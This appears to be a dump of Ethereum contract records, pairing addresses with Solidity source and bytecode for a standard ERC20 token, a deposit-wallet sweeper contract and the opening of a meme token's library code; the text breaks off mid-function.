fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820df3bc3fc9250f25ecb33a86323db85b277f41fdda9dfb1f2778fbab415d40b800029
[ 2 ]
0xf2f2a1fba8f86eed1af20e06657bbb5a4416527c
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Disclosure' token contract // // Deployed to : 0x385C03042276635b92a347D666d7A2e19862Bb98 // Symbol : DISC // Name : Disc Token // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract DiscToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function DiscToken() public { symbol = "DISC"; name = "Disc Token"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x385C03042276635b92a347D666d7A2e19862Bb98] = _totalSupply; Transfer(address(0), 0x385C03042276635b92a347D666d7A2e19862Bb98, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd14610228578063313ce567146102a15780633eaaf86b146102d057806370a08231146102f957806379ba5097146103465780638da5cb5b1461035b57806395d89b41146103b0578063a293d1e81461043e578063a9059cbb1461047e578063b5931f7c146104d8578063cae9ca5114610518578063d05c78da146105b5578063d4ee1d90146105f5578063dc39d06d1461064a578063dd62ed3e146106a4578063e6cb901314610710578063f2fde38b14610750575b600080fd5b341561012257600080fd5b61012a610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610827565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610212610919565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610964565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610bf4565b604051808260ff1660ff16815260200191505060405180910390f35b34156102db57600080fd5b6102e3610c07565b6040518082815260200191505060405180910390f35b341561030457600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c0d565b6040518082815260200191505060405180910390f35b341561035157600080fd5b610359610c56565b005b341561036657600080fd5b61036e610df5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610e1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b6104686004808035906020019091908035906020019091905050610eb8565b6040518082815260200191505060405180910390f35b341561048957600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed4565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b610502600480803590602001909190803590602001909190505061105d565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611081565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105df60048080359060200190919080359060200190919050506112c7565b6040518082815260200191505060405180910390f35b341561060057600080fd5b6106086112f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065557600080fd5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061131e565b604051808215151515815260200191505060405180910390f35b34156106af57600080fd5b6106fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061145d565b6040518082815260200191505060405180910390f35b341561071b57600080fd5b61073a60048080359060200190919080359060200190919050506114e4565b6040518082815260200191505060405180910390f35b341561075b57600080fd5b610787600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611500565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006109af600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a78600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b41600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb05780601f10610e8557610100808354040283529160200191610eb0565b820191906000526020600020905b815481529060010190602001808311610e9357829003601f168201915b505050505081565b6000828211151515610ec957600080fd5b818303905092915050565b6000610f1f600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fab600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561106d57600080fd5b818381151561107857fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561125e578082015181840152602081019050611243565b50505050905090810190601f16801561128b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156112ac57600080fd5b5af115156112b957600080fd5b505050600190509392505050565b6000818302905060008314806112e757508183828115156112e457fe5b04145b15156112f257600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137b57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561143e57600080fd5b5af1151561144b57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156114fa57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561155b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582062179c4fa127b08cf812b30274786c990e0395951c02343541f600df0af2f9fa0029
[ 2 ]
0xf2f313a45905e700417b5cdef6361d3fd1bf0da9
pragma solidity ^0.4.24; contract AbstractSweeper { function sweepAll(address token) public returns (bool); function() public { revert(); } Controller controller; constructor(address _controller) public { controller = Controller(_controller); } modifier canSweep() { if(msg.sender != controller.authorizedCaller() && msg.sender != controller.owner()){ revert(); } if(controller.halted()){ revert(); } _; } } contract Token { function balanceOf(address a) public pure returns (uint) { (a); return 0; } function transfer(address a, uint val) public pure returns (bool) { (a); (val); return false; } } contract DefaultSweeper is AbstractSweeper { constructor(address controller) AbstractSweeper(controller) public { } function sweepAll(address _token) public canSweep returns (bool) { bool success = false; address destination = controller.destination(); if(_token != address(0)){ Token token = Token(_token); success = token.transfer(destination, token.balanceOf(this)); }else{ success = destination.send(address(this).balance); } return success; } } contract UserWallet { AbstractSweeperList sweeperList; constructor(address _sweeperlist) public { sweeperList = AbstractSweeperList(_sweeperlist); } function() public payable { } function tokenFallback(address _from, uint _value, bytes _data) public pure { (_from); (_value); (_data); } function sweepAll(address _token) public returns (bool) { return sweeperList.sweeperOf(_token).delegatecall(msg.data); } } contract AbstractSweeperList { function sweeperOf(address _token) public returns (address); } contract Controller is AbstractSweeperList { address public owner; address public authorizedCaller; address public destination; bool public halted; event NewWalletCreated(address receiver); modifier onlyOwner() { if(msg.sender != owner){ revert(); } _; } modifier onlyAuthorizedCaller() { if(msg.sender != authorizedCaller){ revert(); } _; } modifier onlyAdmins() { if(msg.sender != authorizedCaller && msg.sender != owner){ revert(); } _; } constructor() public { owner = msg.sender; destination = msg.sender; authorizedCaller = msg.sender; } function setAuthorizedCaller(address _newCaller) public onlyOwner { authorizedCaller = _newCaller; } function setDestination(address _dest) public onlyOwner { destination = _dest; } function setOwner(address _owner) public onlyOwner { owner = _owner; } function newWallet() public onlyAdmins returns (address wallet) { wallet = address(new UserWallet(this)); emit NewWalletCreated(wallet); } function halt() public onlyAdmins { halted = true; } function start() public onlyOwner { halted = false; } address public defaultSweeper = address(new DefaultSweeper(this)); mapping (address => address) sweepers; function addSweeper(address _token, address _sweeper) public onlyOwner { sweepers[_token] = _sweeper; } function sweeperOf(address _token) public returns (address) { address sweeper = sweepers[_token]; if(sweeper == 0){ sweeper = defaultSweeper; } return sweeper; } }
0x60806040526004361061004b5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663c0ee0b8a811461004d578063c18cfe86146100c3575b005b34801561005957600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261004b94823573ffffffffffffffffffffffffffffffffffffffff169460248035953695946064949201919081908401838280828437509497506101059650505050505050565b3480156100cf57600080fd5b506100f173ffffffffffffffffffffffffffffffffffffffff6004351661010a565b604080519115158252519081900360200190f35b505050565b60008054604080517f3c18d31800000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff858116600483015291519190921691633c18d31891602480830192602092919082900301818787803b15801561017f57600080fd5b505af1158015610193573d6000803e3d6000fd5b505050506040513d60208110156101a957600080fd5b505160405173ffffffffffffffffffffffffffffffffffffffff90911690600090369080838380828437820191505092505050600060405180830381855af49493505050505600a165627a7a72305820ec90d4e55fb69f839fa555767145d6ac7a8f1aa98ed098b09c220c4a34f02ba10029
[ 15 ]
0xf2f32bd5483f7debce311c3c608d00d9a7707c6b
// Daddy Elon (DELON) a DeFi meme token which serves to idolize Elon Musk // /* */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes 